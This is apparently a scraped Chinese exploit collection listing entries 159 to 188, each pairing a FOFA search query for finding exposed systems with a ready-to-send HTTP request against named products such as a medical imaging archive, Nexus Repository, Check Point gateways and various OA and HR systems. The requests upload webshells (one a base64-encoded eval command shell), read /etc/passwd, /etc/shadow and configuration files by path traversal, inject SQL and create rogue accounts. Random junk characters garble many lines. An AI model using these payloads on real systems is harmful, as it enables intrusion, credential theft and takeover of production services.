5 y+ T6 h9 d2 K# I& C
! j( t% V" s% Q8 L. E# z% u159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
( e5 G( Y; e; R& X7 E) X. dFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
4 r" k+ W2 T$ G2 ~9 h) M) q* h8 ?POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
' x5 M$ D  A) _: vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
0 D0 h$ X5 {1 y. `+ f3 g% O" c6 hContent-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
* H& {7 L3 Z; Z
<?xml version="1.0" encoding="utf-8"?>
0 C( `/ Y, L, i' {+ X$ z3 I& C<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
4 H8 k% Y7 b9 R8 w* z! {( s! i<vcode>1</vcode>
" j% R5 N) D$ Z9 K1 [<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
% |1 @, v7 x3 H! n9 V<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
- l! M% F& ~# C! ?</jobUpload>
  q% R7 S  K1 C, ~/ l* T' n</soap:Body>
</soap:Envelope>
4 w* A( i- D- L" I/ m. b: L
" S% @& Q# l3 t' G9 z# W& @* }! ?
8 M; i( D  c- Z* ^' F; b. y/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
8 P8 z# B. X# w! t  b! WFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
+ k7 n: \) f& s2 D4 {, IUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
0 U' D3 e. e* ~9 }" x! |- p: `Connection: close
Accept: */*
Accept-Language: en
9 F; `- n" s! B; ]Accept-Encoding: gzip
' ^  Z" o/ ]3 o1 J" y% Y9 h) O
; C2 `2 t6 o1 {8 R& n
$ V8 M1 {" R8 {# \0 u5 `) y161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
! i0 k3 p) f% P# d; oConnection: close
' H+ [; m6 W' j* l; i7 P2 ?  s) hContent-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip
1 M- f; \# h3 d) x
<?xml version="1.0" encoding="utf-8"?>
1 W/ v: m  k# _" _4 k<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
, P: u* ^* c/ X8 I7 G- v</UploadResume>
</soap:Body>
) L0 E6 u% B! d6 ]: y$ [( M6 N</soap:Envelope>


http://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
9 X8 \+ N1 M1 P) j; PPOST /QH.aspx HTTP/1.1
$ n, P; P3 [- |% i/ v4 P( IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
) J4 c3 I" v& y8 G1 J0 B# G: rConnection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
3 I$ h+ H' F& K5 vAccept-Encoding: gzip
8 z4 q: y: U1 u4 ~* h* B$ i
: }* m2 e4 G' e8 C3 t------WebKitFormBoundaryeegvclmyurlotuey
/ f# l. e! E. T+ V$ y0 c+ iContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
; @( J" o6 ?8 r. V! Q7 p; P
<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
& x; S  X0 {3 f$ q
upload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
0 l8 J+ l! E) H" b
ResourceNewResponder
: {3 n5 v5 p4 x2 o------WebKitFormBoundaryeegvclmyurlotuey
8 n8 E" S8 g' o4 l" m: eContent-Disposition: form-data; name="remotePath"

" z$ X9 s: }' h8 Q) ]/opt/resources
3 D- q- S6 W% O------WebKitFormBoundaryeegvclmyurlotuey--
) n+ X: [9 e+ u( @+ ^( u* m+ z
4 r. D( ?, r: E
. d) k1 R6 s+ b5 r" Ahttp://x.x.x.x/opt/resources/kjuhitjgk.aspx
. |0 O" N2 o4 _9 {2 k3 E. L& C
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
4 P& L# Q4 C7 J, OFOFA: icon_hash="-795291075"
- w3 H7 [4 \' C; ?! c8 F# s0 ?POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
7 b1 n( `3 z4 u, V3 _; fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
  @# ^/ p! ~3 L- K9 a/ NAccept: */*
9 M5 L. J; q4 W9 Z$ l1 eAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
5 `7 A( u6 {# f" D! O2 j, _" n9 }! V* ZContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

; c. ^. o5 h6 Z' f  {------iiqvnofupvhdyrcoqyuujyetjvqgocod
, X3 |3 D- n& F7 G- Y! h# b! DContent-Disposition: form-data; name="name"
/ R5 R4 b; a9 F4 Q* I. c
8 v' P8 C0 ]9 s; _3 @1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
9 ?- w+ |8 F) j/ ?) s3 _
# h' w2 s; H9 j- _
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
2 p1 S: v' W- _+ GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
/ O8 r0 t  D% ?) U% c* }Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
$ i, ]# F4 Z' G2 P( pContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
) M8 Q7 R9 J- ~Accept-Encoding: gzip
% _' t+ N, G- x" H2 d
------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
! R6 i6 {- X- x2 Q7 W4 K------dqdaieopnozbkapjacdbdthlvtlyl--
# v: _. c9 Q* x$ i" u

http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
2 Y$ `# o: f! ?7 n# j: Q
5 o1 ]7 q: e0 X% \/ C165. OrangeHRM 3.3.3 SQL 注入
) T! f/ U9 G. {8 H8 b+ }  J/ ~CVE-2024-36428
FOFA: app="OrangeHRM-产品"
6 Z& S9 I6 a% `URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
) s" @: T$ r; }4 M: m+ ]: L" i

166. 中成科信票务管理平台SeatMapHandler SQL注入
; ~% r0 C; s  t; o- eFOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
* I* f+ j6 j5 [2 gPragma: no-cache
Cache-Control: no-cache
/ I  ~: V9 J$ QUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
# F2 Z8 Q- `5 J; P; ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
# ^  Q% w9 F1 JConnection: close
+ Z7 T8 {) |: eContent-Type: application/x-www-form-urlencoded
$ ?. [2 l+ |. J6 D, u; SContent-Length: 89

7 I" c2 B- K; r# q$ I# v. iMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

# j6 {! I  `7 J* _% E: e0 K7 P0 d
8 X! H% x+ H9 P/ X* C167. 精益价值管理系统 DownLoad.aspx任意文件读取
- T) @2 y4 @8 r  f, ~FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
0 b" }7 Q4 m2 w' DAccept: */*
3 i4 S' J4 A1 N* u2 H1 sConnection: keep-alive
# [9 r6 _& b5 C, I0 d

168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
& b! R  Z4 _* t6 p7 qHost: your-ip
& H2 }7 s$ D) N# A5 \2 g% sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
% O  T. j; x) c# ^( `Content-Type: application/x-www-form-urlencoded
( j- s/ Z' ^$ Y2 a7 {) zConnection: close
- ?4 b& ^  I1 G3 q


169. 宏景EHR downlawbase SQL注入
4 O- Z2 W6 [% P; k, ?2 q/ d7 pFOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
4 y( U6 p" W2 P' u2 L  GConnection: close

% U( R0 k7 c* x% V; Y! G  D  o
% N1 }* R+ z* p2 a' z4 ^+ _7 a3 d
$ D4 e( ?7 L) w5 V* j0 ?170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
2 A' J& _: z' r' R5 dPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
: t$ o3 ~' W: b% e% y1 z7 YUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

! C  h9 L" B5 gfilename=../webapps/ROOT/WEB-INF/web.xml
9 A# u. Q1 p$ J  |/ i- w

. A' d) B9 j4 O7 r6 t171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
) o5 W, S0 h  Z) O. O5 tGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
0 O+ }) t( x9 _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
7 O- k* `0 S+ q5 x  g3 I6 M$ DAccept: */*
/ ]% P7 ~( ?7 C- WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 a& U. H8 K# j3 C( Z, {Accept-Encoding: gzip, deflate
* K1 y5 G6 O/ x( W2 S) ZConnection: close

- J" R9 J( ?1 l( j* v- f; ~3 J

172. DT-高清车牌识别摄像机任意文件读取
1 F7 X! }9 M/ QFOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
9 _  {/ h; n. F; ~Host: your-ip
; T  i0 s3 R. S& e1 p+ ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: c2 ^& s" P2 D3 \$ YAccept-Encoding: gzip, deflate
! C9 ~* ~* C  K, m2 n" Z! w3 OAccept: */*
Connection: keep-alive

3 \( r1 f' j' h! S
, @1 Y* K. ~' z
173. Check Point 安全网关任意文件读取
CVE-2024-24919
4 ]  v' g; e/ p+ FFOFA：app="Check_Point-SSL-Network-Extender"
/ g; O' ?  g8 n- {1 h* RPOST /clients/MyCRL HTTP/1.1
: I8 p: v/ p7 g) I9 @Host: your-ip
Content-Type: application/x-www-form-urlencoded
0 v9 S) |, U# K8 [. B& f. O
aCSHELL/../../../../../../../etc/shadow

% e) O  I4 U5 C7 N

174. 金和OA C6 FileDownLoad.aspx 任意文件读取
* F( p- o. ^% W7 o8 n) SFOFA：app="金和网络-金和OA"
2 C. F' B/ y4 A6 G  Y& @* x5 qGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
/ ]4 }) M6 r* s$ _2 V+ VHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ c; L* ^2 h/ j% JAccept-Encoding: gzip, deflate, br
" p( D; E+ U1 l& tAccept-Language: zh-CN,zh;q=0.9
+ G/ z# ?, R$ `5 sConnection: close
2 r& j, a# @+ R0 L; {, i3 g  j


" [4 l* Y3 A% m3 T; \! f7 U+ Z) Q3 Y; ]175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
5 G: X9 n' k2 }7 E) X. c/ ~, vUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
, L7 p% ?- X; M- K1 B7 fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; L3 C4 [0 k5 iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

# `$ [2 Q2 o% O, ^
8 d0 b! E5 C5 X* \! W' p; `- D% X* V176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
% _$ {9 S% O2 q4 o( j$ vHost: your-ip
* a3 D; |1 r3 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
+ {  _$ d1 u0 r8 `5 J* VContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
. S; U- O. f7 F4 cConnection: close
# T8 j" a; g- F5 F3 F
------WebKitFormBoundaryOKldnDPT
4 S. ?; N% {2 L* R: ~. F9 u% _, MContent-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

* Z6 r, O7 n  Y<?php system("cat /etc/passwd");unlink(__FILE__);?>
1 b: E% i3 G' N6 m------WebKitFormBoundaryOKldnDPT
+ O, e2 @( a% }Content-Disposition: form-data; name="uploadtime"

; R& J9 n9 H  c& W0 `9 M1 ^# |
------WebKitFormBoundaryOKldnDPT--

5 ~7 T( I* u" k
: c7 K! w0 Z6 C8 b# x3 J  M) W: w
& `$ l* h# S0 a+ }# O177. H3C路由器敏感信息泄露
. e4 F" |3 [# v% n; K# [! q% S8 D, X/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
3 {. S! z" B+ }' J- x8 J+ s2 j6 P/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
9 p6 }5 |* g- H( M& M9 A  P% [/userLogin.asp/../actionpolicy_status/../GR3200.cfg
6 _& m% M  j* j5 |5 C/userLogin.asp/../actionpolicy_status/../GR2200.cfg
( _, k( p( ]0 N/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
' _9 y! @- a. f/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
& `8 t6 x- Y  _7 _. U/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
9 g7 s: ~7 ], B4 Q3 Y/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
. U+ Q! [7 S9 z) I( e/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
) S' |, z: i  X$ ~% J- R: ~/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
8 V. q- Y3 }3 k- ~1 \/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
0 G2 P' v- t0 B- f' R
  V4 ?+ x3 v& W6 y( ^9 g% ^9 \' e
2 d* B( C' G+ i% q2 Q8 |8 l178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
! S. J3 H; ~# L2 h, CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
# S4 M! Q# b1 g' ]Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
/ p1 k* a& V& a4 RContent-Type: application/octet-stream
Content-Length: 255

12234
-----------------aqutkea7vvanpqy3rh2l--
# y! U5 Q  Q0 @7 {  u' N6 Z3 Z3 T

GET /imc/primepush/%2e%2e/flex/12234.txt
1 B% Z: e9 ?  u# L" r
5 M" {8 s2 o* Z4 O' \
179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
  ~/ _3 a7 I+ ^8 P  R4 Y
path=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
7 ~$ i. ^- d! Y" Q6 b! `FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
* K+ t, `6 F+ `' ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
" O, l$ h, D4 g8 q7 D$ QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
0 _& ^" Z% [  A" f4 J

. U' ~6 l4 x2 Q5 n4 V% h6 ]181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
6 P2 Q# i* }3 D/ p( zHost: your-ip
. y+ n6 a  u' u% l3 o2 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
. x. ~- L7 u6 s6 Y3 [Accept-Language: zh-CN,zh;q=0.9
3 W5 T  |3 d: X  v- y5 d$ sConnection: close
Content-Type: application/x-www-form-urlencoded
5 H) D9 n. s: E: Y

action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
' o0 F$ j& m/ g2 t% |1 W
4 I+ E+ w+ G8 E! i+ H" ?. x
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
# s( |- A/ t" l% h  QPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
' S) ]0 {1 Q1 R( @' CHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
' C3 b  Q4 p1 P  EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# N0 Y' k& |* k; G* YAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

3 c- [* }* [, q& e$ S8 c
3 }+ j) P3 g- x: I% Iusername=test1234&pwd=test1234&savedays=1
; H4 L9 T5 s- z- l7 ]1 P' T
* l/ h$ a. g, X% s) H
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
7 x# O5 y' ^& s$ M  s0 d' x! PHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
5 \( ]" P1 v; C: hAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
$ i: }& C2 h7 }! |  N1 j+ NConnection: close
. o6 x) d6 r4 M" j: e( C$ U

184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
, `5 F- p8 @9 M+ bFOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
4 F/ I0 z; P5 x2 g! C6 BHost: your-ip
9 `$ H) p. W+ \Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
& A/ z! L+ u/ pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 n9 U1 I1 P2 g* t$ r9 l$ aX-Requested-With: XMLHttpRequest

. m8 e) O, t  G" o) A6 F- z
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
! y8 C& ^% w, W2 ^- p3 K

: Z. x; g& t9 a  q2 V185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
; S$ s! I/ U. P6 Q5 vHost: host
& p0 n, h. E4 ]. a* k$ H

186. F-logic DataCube3 SQL注入
% O: S* r& @! A; k+ LCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
7 l6 \$ r: m4 T' L! a; gFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
% y3 c5 w4 P, p8 mHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
. U( ~' V7 R+ H1 l5 |+ EConnection: close
Content-Type: application/x-www-form-urlencoded
5 k( q5 b+ ]7 F
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
, z, G- ^7 L( j1 C- k+ D6 B$ R: M5 F
) W& x+ b! i& Y
+ G7 I' [, ~; W% _187. Mura CMS processAsyncObject SQL注入
* I0 [9 |2 W! u" MCVE-2024-32640
3 H+ o" S! L! z% R9 P  }FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
# O4 G; l/ _; D7 G$ B! [Host: your-ip
4 E; ?& i1 ]3 u  ?( O3 t  nContent-Type: application/x-www-form-urlencoded

4 Z5 l7 w2 @+ }
: {( b6 _4 l; v. G. @- r; H9 _object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


+ ^/ K8 C# f0 _3 E+ I5 N5 `188. 叁体-佳会视频会议 attachment 任意文件读取
; x' k- {. E* Z/ Jversion <= 3.9.7
, \; _. ~; |7 m; i- nFOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' l" w) @* n5 L! h7 C* ?" |% f- fAccept-Encoding: gzip, deflate
